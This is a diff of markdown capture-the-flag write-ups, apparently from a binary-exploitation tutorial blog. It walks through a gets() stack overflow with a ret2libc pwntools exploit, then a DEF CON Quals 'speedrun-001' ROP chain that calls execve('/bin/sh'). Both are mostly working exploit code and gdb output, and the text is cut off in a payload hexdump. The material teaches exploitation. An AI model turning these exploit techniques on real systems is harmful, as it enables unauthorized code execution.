memset(local_3c,0,0x20); + memset(local_1c,0xff,0x10); + init_visualize(local_3c); + visualize(local_3c); + printf("Input some text: "); + gets(local_3c); + visualize(local_3c); + return; + } + + +Here we see that local_3c is initially set to be able to hold only 32 bytes of data, but then we see that it gets passed into a gets() call, and we know that gets calls are vulnerable to buffer overflows because it doesn't restrict our input at all. Plus since there is no stack canary, we can overwrite the return address and get code execution, so we let's set a breakpoint after the gets call, and see where our text input is stored in memory: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme] + → gdb ./server + GNU gdb (GDB) 10.1 + Copyright (C) 2020 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-pc-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1 using Python engine 3.9 + Reading symbols from ./server... + (No debugging symbols found in ./server) + gef➤ disas vulnm + No symbol table is loaded. Use the "file" command. + gef➤ disas vuln + Dump of assembler code for function vuln: + 0x080485b1 <+0>: push ebp + 0x080485b2 <+1>: mov ebp,esp + 0x080485b4 <+3>: push ebx + 0x080485b5 <+4>: sub esp,0x34 + 0x080485b8 <+7>: call 0x80484c0 <__x86.get_pc_thunk.bx> + 0x080485bd <+12>: add ebx,0x1a43 + 0x080485c3 <+18>: sub esp,0x4 + 0x080485c6 <+21>: push 0x20 + 0x080485c8 <+23>: push 0x0 + 0x080485ca <+25>: lea eax,[ebp-0x38] + 0x080485cd <+28>: push eax + 0x080485ce <+29>: call 0x8048440 + 0x080485d3 <+34>: add esp,0x10 + 0x080485d6 <+37>: sub esp,0x4 + 0x080485d9 <+40>: push 0x10 + 0x080485db <+42>: push 0xff + 0x080485e0 <+47>: lea eax,[ebp-0x18] + 0x080485e3 <+50>: push eax + 0x080485e4 <+51>: call 0x8048440 + 0x080485e9 <+56>: add esp,0x10 + 0x080485ec <+59>: sub esp,0xc + 0x080485ef <+62>: lea eax,[ebp-0x38] + 0x080485f2 <+65>: push eax + 0x080485f3 <+66>: call 0x804869e + 0x080485f8 <+71>: add esp,0x10 + 0x080485fb <+74>: sub esp,0xc + 0x080485fe <+77>: lea eax,[ebp-0x38] + 0x08048601 <+80>: push eax + 0x08048602 <+81>: call 0x80486e1 + 0x08048607 <+86>: add esp,0x10 + 0x0804860a <+89>: sub esp,0xc + 0x0804860d <+92>: lea eax,[ebx-0x16dd] + 0x08048613 <+98>: push eax + 0x08048614 <+99>: call 0x80483f0 + 0x08048619 <+104>: add esp,0x10 + 0x0804861c <+107>: sub esp,0xc + 0x0804861f <+110>: lea eax,[ebp-0x38] + 0x08048622 <+113>: push eax + 0x08048623 <+114>: call 0x8048400 + 0x08048628 <+119>: add esp,0x10 + 0x0804862b <+122>: sub esp,0xc + 0x0804862e <+125>: lea eax,[ebp-0x38] + 0x08048631 <+128>: push eax + 0x08048632 <+129>: call 0x80486e1 + 0x08048637 <+134>: add esp,0x10 + 0x0804863a <+137>: nop + 0x0804863b <+138>: mov ebx,DWORD PTR [ebp-0x4] + 0x0804863e <+141>: leave + 0x0804863f <+142>: ret + End of assembler dump. + gef➤ b *vuln+119 + Breakpoint 1 at 0x8048628 + gef➤ r + Starting program: /home/nothing/binexp/2/shme/server + + Legend: buff MODIFIED padding MODIFIED + notsecret MODIFIED secret MODIFIED + return address MODIFIED + 0xffffd0a0 | 00 00 00 00 00 00 00 00 | + 0xffffd0a8 | 00 00 00 00 00 00 00 00 | + 0xffffd0b0 | 00 00 00 00 00 00 00 00 | + 0xffffd0b8 | 00 00 00 00 00 00 00 00 | + 0xffffd0c0 | ff ff ff ff ff ff ff ff | + 0xffffd0c8 | ff ff ff ff ff ff ff ff | + 0xffffd0d0 | 40 05 f9 f7 00 a0 04 08 | + 0xffffd0d8 | e8 d0 ff ff 8b 86 04 08 | + Return address: 0x0804868b + + Input some text: 13371337 + + Breakpoint 1, 0x08048628 in vuln () + [ Legend: Modified register | Code | Heap | Stack | String ] + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $eax : 0xffffd0a0 → "13371337" + $ebx : 0x0804a000 → 0x08049f0c → 0x00000001 + $ecx : 0xf7f90540 → 0xfbad208b + $edx : 0xfbad208b + $esp : 0xffffd090 → 0xffffd0a0 → "13371337" + $ebp : 0xffffd0d8 → 0xffffd0e8 → 0x00000000 + $esi : 0x1 + $edi : 0x08048470 → <_start+0> xor ebp, ebp + $eip : 0x08048628 → add esp, 0x10 + $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0xffffd090│+0x0000: 0xffffd0a0 → "13371337" ← $esp + 0xffffd094│+0x0004: 0x000000ff + 0xffffd098│+0x0008: 0x00000010 + 0xffffd09c│+0x000c: 0x080485bd → add ebx, 0x1a43 + 0xffffd0a0│+0x0010: "13371337" + 0xffffd0a4│+0x0014: "1337" + 0xffffd0a8│+0x0018: 0x00000000 + 0xffffd0ac│+0x001c: 0x00000000 + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── + 0x804861f lea eax, [ebp-0x38] + 0x8048622 push eax + 0x8048623 call 0x8048400 + → 0x8048628 add esp, 0x10 + 0x804862b sub esp, 0xc + 0x804862e lea eax, [ebp-0x38] + 0x8048631 push eax + 0x8048632 call 0x80486e1 + 0x8048637 add esp, 0x10 + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "server", stopped 0x8048628 in vuln (), reason: BREAKPOINT + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x8048628 → vuln() + [#1] 0x804868b → main() + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + + +So what we did here was first disassemble the vuln function, set the breakpoint to be right after the gets call, and then run the binary, we gave it a simple pattern (13371337) and then we hit our breakpoint. So let's search for our pattern in memory, to determine the offset in between our input and the return address: + + + gef➤ search-pattern 13371337 + [+] Searching '13371337' in memory + [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw- + 0xffffd0a0 - 0xffffd0a8 → "13371337" + + gef➤ info frame + Stack level 0, frame at 0xffffd0e0: + eip = 0x8048628 in vuln; saved eip = 0x804868b + called by frame at 0xffffd100 + Arglist at 0xffffd0d8, args: + Locals at 0xffffd0d8, Previous frame's sp is 0xffffd0e0 + Saved registers: + ebx at 0xffffd0d4, ebp at 0xffffd0d8, eip at 0xffffd0dc + + + +Here we see that our input text is at **0xffffd0a0** and the return address is at **0xffffd0dc** So we can easily find the offset from a python3 shell: + + + [ 192.168.0.18/24 ] [ /dev/pts/17 ] [Nextcloud/blog] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex( 0xffffd0a0 - 0xffffd0dc ) + '-0x3c' + + + +And here we see that we have a 0x3c bytes offset between our text input and the return address. The idea here is that we're going to call an instruction pointer, but what is it that we're going to call ? All we need is just 2 libc infoleaks, and it can become possible to identify the libc versions. + + + [ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme] + → objdump -D server | grep puts + 08048410 <****puts@plt>: + 8048704: e8 07 fd ff ff call 8048410 <****puts@plt> + 8048716: e8 f5 fc ff ff call 8048410 <****puts@plt> + 8048846: e8 c5 fb ff ff call 8048410 <****puts@plt> + 8048881: e8 8a fb ff ff call 8048410 <****puts@plt> + +` **** + + + [ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme] + → vim exploit.py + + + +We're going to make use of guyinatuxedo's ['TheNight']() Python library: + + + import TheNight + from pwn import * + + + libc = ELF("libc6_2.27-3ubuntu1_i386.so") + target = process("./server") + elf = ELF('server') + + + payload = "" + payload += "0"*0x3c + payload += p32(elf.symbols["puts"]) + payload += p32(elf.symbols["vuln"]) + payload += p32(elf.got["puts"]) + + target.sendline(payload) + + + for i in range(0, 2): + print target.recvuntil("Return address:") + + + for i in range(0, 2): + print target.recvline() + + + leak0 = target.recvline()[0:4] + + puts = u32(leak0) + + libcBase = puts - libc.symbols["puts"] + + print "libc base: " + hex(libcBase) + + binshOffset = 0x17e0cf + + payload1 = "" + payload1 += "0"*0x3c + payload1 += p32(libcBase + libc.symbols["system"]) + payload1 += p32(0x30303030) + payload1 += p32(libcBase + binshOffset) + + target.sendline(payload1) + + target.interactive() + + +And when we run it: + + + [*] '/Hackery/utc/shelltime/libc6_2.27-3ubuntu1_i386.so' + Arch: i386-32-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: PIE enabled + [*] '/Hackery/utc/shelltime/server' + Arch: i386-32-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x8048000) + + Legend: buff MODIFIED padding MODIFIED + notsecret MODIFIED secret MODIFIED + return address MODIFIED + 0xffbba510 | 00 00 00 00 00 00 00 00 | + 0xffbba518 | 00 00 00 00 00 00 00 00 | + 0xffbba520 | 00 00 00 00 00 00 00 00 | + 0xffbba528 | 00 00 00 00 00 00 00 00 | + 0xffbba530 | ff ff ff ff ff ff ff ff | + 0xffbba538 | ff ff ff ff ff ff ff ff | + 0xffbba540 | c0 d5 ef f7 00 a0 04 08 | + 0xffbba548 | 58 a5 bb ff 8b 86 04 08 | + Return address: + 0x0804868b + + Input some text: + Legend: buff MODIFIED padding MODIFIED + notsecret MODIFIED secret MODIFIED + return address MODIFIED + 0xffbba510 | 30 30 30 30 30 30 30 30 | + 0xffbba518 | 30 30 30 30 30 30 30 30 | + 0xffbba520 | 30 30 30 30 30 30 30 30 | + 0xffbba528 | 30 30 30 30 30 30 30 30 | + 0xffbba530 | 30 30 30 30 30 30 30 30 | + 0xffbba538 | 30 30 30 30 30 30 30 30 | + 0xffbba540 | 30 30 30 30 30 30 30 30 | + 0xffbba548 | 30 30 30 30 10 84 04 08 | + Return address: + 0x08048410 + + + + libc base: 0xf7d25000 + [*] Switching to interactive mode + + Legend: buff \x1b[32;1mMODIFIED padding MODIFIED + notsecret MODIFIED secret MODIFIED + return address MODIFIED + 0xffbba518 | 00 00 00 00 00 00 00 00 | + 0xffbba520 | 00 00 00 00 00 00 00 00 | + 0xffbba528 | 00 00 00 00 00 00 00 00 | + 0xffbba530 | 00 00 00 00 00 00 00 00 | + 0xffbba538 | ff ff ff ff ff ff ff ff | + 0xffbba540 | ff ff ff ff ff ff ff ff | + 0xffbba548 | 00 00 00 00 30 30 30 30 | + 0xffbba550 | 30 30 30 30 18 a0 04 08 | + Return address: 0x0804a018 + + Input some text: + Legend: buff MODIFIED padding MODIFIED + notsecret MODIFIED secret MODIFIED + return address MODIFIED + 0xffbba518 | 30 30 30 30 30 30 30 30 | + 0xffbba520 | 30 30 30 30 30 30 30 30 | + 0xffbba528 | 30 30 30 30 30 30 30 30 | + 0xffbba530 | 30 30 30 30 30 30 30 30 | + 0xffbba538 | 30 30 30 30 30 30 30 30 | + 0xffbba540 | 30 30 30 30 30 30 30 30 | + 0xffbba548 | 30 30 30 30 30 30 30 30 | + 0xffbba550 | 30 30 30 30 00 22 d6 f7 | + Return address: 0xf7d62200 + + $ cat flag.txt + utc{c0ntr0ling_r1p_1s_n0t_t00_h4rd} + + + +And we get the flag! + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/speed.md b/2/speed.md new file mode 100644 index 0000000..7833edb --- /dev/null +++ b/2/speed.md @@ -0,0 +1,534 @@ +# DCQuals 2019 speed + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 + --2021-03-05 21:19:04-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 [following] + --2021-03-05 21:19:04-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 774392 (756K) [application/octet-stream] + Saving to: ‘speedrun-001’ + + speedrun-001 100%[=======================================================================================================================================================>] 756.24K 2.40MB/s in 0.3s + + 2021-03-05 21:19:05 (2.40 MB/s) - ‘speedrun-001’ saved [774392/774392] + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → file speedrun-001 + speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → chmod +x speedrun-001 + + + +` ![]() + +## Solution + +first let's run pwn checksec onto the binary and execute it to see what it does: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → pwn checksec speedrun-001 + [*] '/home/nothing/binexp/2/speed/speedrun-001' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x400000) + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → ./speedrun-001 + Hello brave new challenger + Any last words? + yes + This will be the last thing that you say: yes + + Alas, you had no luck today. + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → ./speedrun-001 + Hello brave new challenger + Any last words? + no + This will be the last thing that you say: no + + Alas, you had no luck today. + + + + +So here we have a 64bit statically compiled binary, the binary has NX which means Non Executable stack enabled, this means that the stack memory region is not executable, to get more info on this, we look at the binary from inside ghidra, however the main function isn't called 'main' as usual, this time we need to find where the output text is: + +[![](30.png)](http://ghidra.re/CheatSheet.html) + +We can use the CTRL+Shift+E to search for the program text line 'Any last words?' since it's safe to assume that it is in the main function + +![](31.png) + +Now we know the main function is **FUN_00400b60** and it has the following code: + + + void FUN_00400b60(void) + + { + undefined local_408 [1024]; + + FUN_00410390("Any last words?"); + FUN_004498a0(0,local_408,2000); + FUN_0040f710("This will be the last thing that you say: %s\n",local_408); + return; + } + + +Here we see that our text gets put into the variable local_408 into a function called 'FUN_004498a0() which takes in 3 arguements, so let's investigate what this function really does:' + + + /* WARNING: Removing unreachable block (ram,0x00449910) */ + /* WARNING: Removing unreachable block (ram,0x00449924) */ + + undefined8 FUN_004498a0(undefined8 param_1,undefined8 param_2,undefined8 param_3) + + { + undefined4 uVar1; + + if (DAT_006bc80c == 0) { + syscall(); + return 0; + } + uVar1 = FUN_0044be40(); + syscall(); + FUN_0044bea0(uVar1,param_2,param_3); + return 0; + } + + + +So the function scans for our input (which is param_2) by making a syscall instead of using the usual fgets or scanf. Looking at the assembly code around the syscall we see the following: + +![](32.png) + +there is a xor call to set eax to 0 and thus the rax register is also set to 0, and we know that the rax register is important on the x86_64 architecture because this is what determines what our syscall ID is, you can check what those syscalls are [here](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit): + +![](33.png) + +since rax is being set to 0 we are dealing with a read syscall, although we don't see the arguements being loaded for the syscall becasue they were already loaded when the function was called. Therefore the arguements this function takes, and the registers they take it in, are the same as the read syscall, so it can just call the read syscall after setting rax to zero (xoring eax with itself) + + + FUN_004498a0(0,local_408,2000); + + + +Looking back at the call to that function, we see that the third arguement is set to 2000, this means that the third arguement (param_3) gets passed into the syscall as an arguement, we can assume this is a limit to our text input variable (local_408) which can only hold 1024 bytes as it was initialized like so: + + + undefined local_408 [1024]; + + + +Now here that we are scanning in 2000 bytes worth of input into our input value, which can only hold 1024 bytes, this means that there is an overflow that can potentially overflow and overwrite the return address to get code execution. + +The goal here is to create a ROP chain (Return Oriented Programming) and to use the buffer overflow to execute it. the ROP chain is made up of **ROP gadgets** , these are bits of code in the binary itself that end in a **ret** instruction + +We don't have to worry about the code being non-executable because this will be all valid code. Since PIE is disabled, we know the address of all of the binary file's instructions. + +Since the binary file is statically linked, that means it is a large binary with plenty of potential gadgets. + +The plan here is to make a ROP chain to make a execve() syscall to execute /bin/sh and to give us a shell. The required registers are the following: + + + rax: 59 #rax contains the syscall ID + rdi: ptr to "bin/sh" #rbx contains the first arguement (the file to execute) + rsi: 0 #rsi : 2nd arg + rdx: 0 #rdx : 3rd arg + + + +The ROP chain we will build will have 3 parts. First we write **/bin/sh** somewhere in memory, then move the pointer to it into the **rdi** register. Second, we move the necessary values into the other 3 registers. Third, we need to make the syscall itself. + +Now we need to find where in memory we can write **/bin/sh** To do so we check the memory mappings while the ELF is running to see what we have to work with. So let's first choose where we will put our breakpoint: + +![](34.png) + + + 00400ba1 b8 00 00 MOV EAX,0x0 + 00 00 + 00400ba6 e8 65 eb CALL FUN_0040f710 undefined FUN_0040f710(undefined + 00 00 + 00400bab 90 NOP + 00400bac c9 LEAVE + 00400bad c3 RET + + + +So here we see that the last text output of the binary is at 0x400ba6 so we set our breakpoint right after at **0x400bab** + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → gdb ./speedrun-001 + GNU gdb (GDB) 10.1 + Copyright (C) 2020 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-pc-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1 using Python engine 3.9 + Reading symbols from ./speedrun-001... + (No debugging symbols found in ./speedrun-001) + gef➤ b *0x400bab + Breakpoint 1 at 0x400bab + gef➤ r + Starting program: /home/nothing/binexp/2/speed/speedrun-001 + Hello brave new challenger + Any last words? + 13371337 + This will be the last thing that you say: 13371337 + + + Breakpoint 1, 0x0000000000400bab in ?? () + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x34 + $rbx : 0x0000000000400400 → sub rsp, 0x8 + $rcx : 0x0 + $rdx : 0x00000000006bbd30 → 0x0000000000000000 + $rsp : 0x00007fffffffdad0 → "13371337\n" + $rbp : 0x00007fffffffded0 → 0x00007fffffffdef0 → 0x0000000000401900 → push r15 + $rsi : 0x0 + $rdi : 0x1 + $rip : 0x0000000000400bab → nop + $r8 : 0x34 + $r9 : 0x34 + $r10 : 0xfffffff7 + $r11 : 0x246 + $r12 : 0x00000000004019a0 → push rbp + $r13 : 0x0 + $r14 : 0x00000000006b9018 → 0x0000000000443e60 → mov rcx, rsi + $r15 : 0x0 + $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffdad0│+0x0000: "13371337\n" ← $rsp + 0x00007fffffffdad8│+0x0008: 0x000000000000000a + 0x00007fffffffdae0│+0x0010: 0x0000000000000000 + 0x00007fffffffdae8│+0x0018: 0x0000000000000000 + 0x00007fffffffdaf0│+0x0020: 0x0000000000000000 + 0x00007fffffffdaf8│+0x0028: 0x0000000000000000 + 0x00007fffffffdb00│+0x0030: 0x0000000000000000 + 0x00007fffffffdb08│+0x0038: 0x0000000000000000 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x400b9a lea rdi, [rip+0x919b7] # 0x492558 + 0x400ba1 mov eax, 0x0 + 0x400ba6 call 0x40f710 + ●→ 0x400bab nop + 0x400bac leave + 0x400bad ret + 0x400bae push rbp + 0x400baf mov rbp, rsp + 0x400bb2 lea rdi, [rip+0x919cd] # 0x492586 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "speedrun-001", stopped 0x400bab in ?? (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x400bab → nop + [#1] 0x400c1d → mov eax, 0x0 + [#2] 0x4011a9 → mov edi, eax + [#3] 0x400a5a → hlt + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + + +So here we basically used gdb to set the breakpoint at **0x400bab** and then we ran the binary, putting 13371337 as our input text so that it is an easy pattern to find in memory. So before we check for where our pattern is in memory, let's check the memory mappings to see what we have to work with: + + + gef➤ vmmap + [ Legend: Code | Heap | Stack ] + Start End Offset Perm Path + 0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/nothing/binexp/2/speed/speedrun-001 + 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/nothing/binexp/2/speed/speedrun-001 + 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] + 0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar] + 0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso] + 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] + 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall] + + + +Now here we see the elf memory region between **0x6b6000** and **0x6bc000** because this is from the elf's memory space that does not have PIE, therefore we know what the address is without an infoleak. In addition to that, the permissions are **rw** as you can see on the right, which means that we can read and write to it. Since the space in between the aforementionned memory addresses is only zeroes, we shouldn't mess anything up if we store it here. So let's find the offset between the start of our input where our **13371337** pattern is: + + + gef➤ search-pattern 13371337 + [+] Searching '13371337' in memory + [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- + 0x7fffffffb46a - 0x7fffffffb476 → "13371337\n\n" + 0x7fffffffdad0 - 0x7fffffffdada → "13371337\n" + + gef➤ info frame + Stack level 0, frame at 0x7fffffffdee0: + rip = 0x400bab; saved rip = 0x400c1d + called by frame at 0x7fffffffdf00 + Arglist at 0x7fffffffdac8, args: + Locals at 0x7fffffffdac8, Previous frame's sp is 0x7fffffffdee0 + Saved registers: + rbp at 0x7fffffffded0, rip at 0x7fffffffded8 + + + +Here we see that our input address is at **0x7fffffffdad0** and the return address is at **0x7fffffffded8** , Now let's calculate the offset between the 2 addresses: + + + [ 192.168.0.18/24 ] [ /dev/pts/6 ] [blog/binexp/2] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex( 0x7fffffffdad0 - 0x7fffffffded8 ) + '-0x408' + + + +Now we know that have an offset of 0x408 bytes between our input text and the return function. Next step is to find the ROP Gadgets we will use. To do so we will use ROPGadgets.py you can check out how we installed it in the previous tutorial [here](calc.html). Now let's find the gadgets we need for the **rax, rdi, rsi and rdx** registers using the following template: + + + "pop register ; ret" + + + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → ROPgadget --binary speedrun-001 | grep "pop rax ; ret" + 0x0000000000415662 : add ch, al ; pop rax ; ret + 0x0000000000415661 : cli ; add ch, al ; pop rax ; ret + 0x00000000004a9321 : in al, 0x4c ; pop rax ; retf + 0x0000000000415664 : pop rax ; ret + 0x000000000048cccb : pop rax ; ret 0x22 + 0x00000000004a9323 : pop rax ; retf + 0x00000000004758a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → ROPgadget --binary speedrun-001 | grep "pop rdi ; ret" + 0x0000000000423788 : add byte ptr [rax - 0x77], cl ; fsubp st(0) ; pop rdi ; ret + 0x000000000042378b : fsubp st(0) ; pop rdi ; ret + 0x0000000000400686 : pop rdi ; ret + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → ROPgadget --binary speedrun-001 | grep "pop rsi ; ret" + 0x000000000046759d : add byte ptr [rbp + rcx*4 + 0x35], cl ; pop rsi ; ret + 0x000000000048ac68 : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret + 0x000000000044be39 : pop rdx ; pop rsi ; ret + 0x00000000004101f3 : pop rsi ; ret + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → ROPgadget --binary speedrun-001 | grep "pop rdx ; ret" + 0x00000000004a8881 : js 0x4a88fe ; pop rdx ; retf + 0x00000000004498b5 : pop rdx ; ret + 0x000000000045fe71 : pop rdx ; retf + + + +So we have found the following gadget addresses for each of our registers: + + + rax 415664 + rdi 400686 + rsi 4101f3 + rdx 4498b5 + + + +Next we will need a gadget which will write the string **/bin/sh** somewhere in memory, for this we just look through all the gadgets with a mov instruction, we want a rax pointer and the gadget must end with **; ret** : + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed] + → ROPgadget --binary speedrun-001 | grep "mov" | grep "ptr \[rax\]" | grep "; ret$" + + + +Looking through for the shortest (and simplest) instructions we find the following: + + + 0x000000000048d251 : mov qword ptr [rax], rdx ; ret + + + +This gadget will allow us to write an 8 byte value stored in **rdx** to whatever address is pointed to by the **rax** register. In addition this is convenient becuase we can use the 4 gadgets we found earlier to prepare this write. And lastly we need to find a gadget to actually make the syscall: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed] + → ROPgadget --binary speedrun-001 | grep "syscall" + + [...] + + 0x000000000040dbdd : sub dword ptr [rsp + 0xf0], eax ; syscall + 0x0000000000475453 : sub esp, 8 ; syscall + 0x0000000000475452 : sub rsp, 8 ; syscall + 0x000000000040129c : syscall + + [...] + + + +And we have our syscall gadget at 0x40129c. With all of the above, we can finally construct our ROP chain, so we will overwrite the return address with the first gadget of the rop chain, and when it returns it will keep on going down the chain until we get our shell. To move the values into registers, we store the values on the stack inside the ROP chain, and they will be popped off into registers. So we end up with the following exploit: + + + from pwn import * + + target = process('./speedrun-001') + + # Establish our ROP Gadgets + popRax = p64(0x415664) + popRdi = p64(0x400686) + popRsi = p64(0x4101f3) + popRdx = p64(0x4498b5) + + # 0x000000000048d251 : mov qword ptr [rax], rdx ; ret + writeGadget = p64(0x48d251) + + # Our syscall gadget + syscall = p64(0x40129c) + + ''' + Here is the assembly equivalent for these blocks + write "/bin/sh" to 0x6b6000 + + pop rdx, 0x2f62696e2f736800 + pop rax, 0x6b6000 + mov qword ptr [rax], rdx + ''' + rop = b"" + rop += popRdx + rop += b"/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end + rop += popRax + rop += p64(0x6b6000) + rop += writeGadget + + ''' + Prepare the four registers with their arguments, and make the syscall + + pop rax, 0x3b + pop rdi, 0x6b6000 + pop rsi, 0x0 + pop rdx, 0x0 + + syscall + ''' + + rop += popRax + rop += p64(0x3b) + + rop += popRdi + rop += p64(0x6b6000) + + rop += popRsi + rop += p64(0) + rop += popRdx + rop += p64(0) + + rop += syscall + + + # Add the padding to the saved return address + payload = b"\x00"*0x408 + rop + + print(hexdump(payload)) + + + +Let's run the exploit to see the hexdump of our payload: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed] + → python3 exploit.py + [+] Starting local process './speedrun-001': pid 2115567 + 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ + * + 00000400 00 00 00 00 00 00 00 00 b5 98 44 00 00 00 00 00 │····│····│··D·│····│ + 00000410 2f 62 69 6e 2f 73 68 00 64 56 41 00 00 00 00 00 │/bin│/sh·│dVA·│····│ + 00000420 00 60 6b 00 00 00 00 00 51 d2 48 00 00 00 00 00 │·`k·│····│Q·H·│····│ + 00000430 64 56 41 00 00 00 00 00 3b 00 00 00 00 00 00 00 │dVA·│····│;···│····│ + 00000440 86 06 40 00 00 00 00 00 00 60 6b 00 00 00 00 00 │··@·│····│·`k·│····│ + 00000450 f3 01 41 00 00 00 00 00 00 00 00 00 00 00 00 00 │··A·│····│····│····│ + 00000460 b5 98 44 00 00 00 00 00 00 00 00 00 00 00 00 00 │··D·│····│····│····│ + 00000470 9c 12 40 00 00 00 00 00 │··@·│····│ + 00000478 + + + +Now that we see our payload is correct, we send it to the binary file with the following 2 lines: + + + target.sendline(payload) + target.interactive() + + + +Now let's run the exploit to see if everything works as intended: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed] + → python3 exploit.py + [+] Starting local process './speedrun-001': pid 2146710 + 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ + * + 00000400 00 00 00 00 00 00 00 00 b5 98 44 00 00 00 00 00 │····│····│··D·│····│ + 00000410 2f 62 69 6e 2f 73 68 00 64 56 41 00 00 00 00 00 │/bin│/sh·│dVA·│····│ + 00000420 00 60 6b 00 00 